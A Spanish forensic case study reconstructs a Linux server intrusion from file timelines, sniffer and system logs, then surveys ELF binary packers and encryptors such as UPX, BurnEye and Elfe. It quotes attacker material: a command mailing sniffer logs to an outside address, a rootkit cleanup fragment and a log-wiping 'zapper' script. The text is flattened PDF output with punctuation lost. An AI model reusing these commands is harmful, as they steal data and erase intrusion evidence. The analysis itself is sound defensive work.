Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

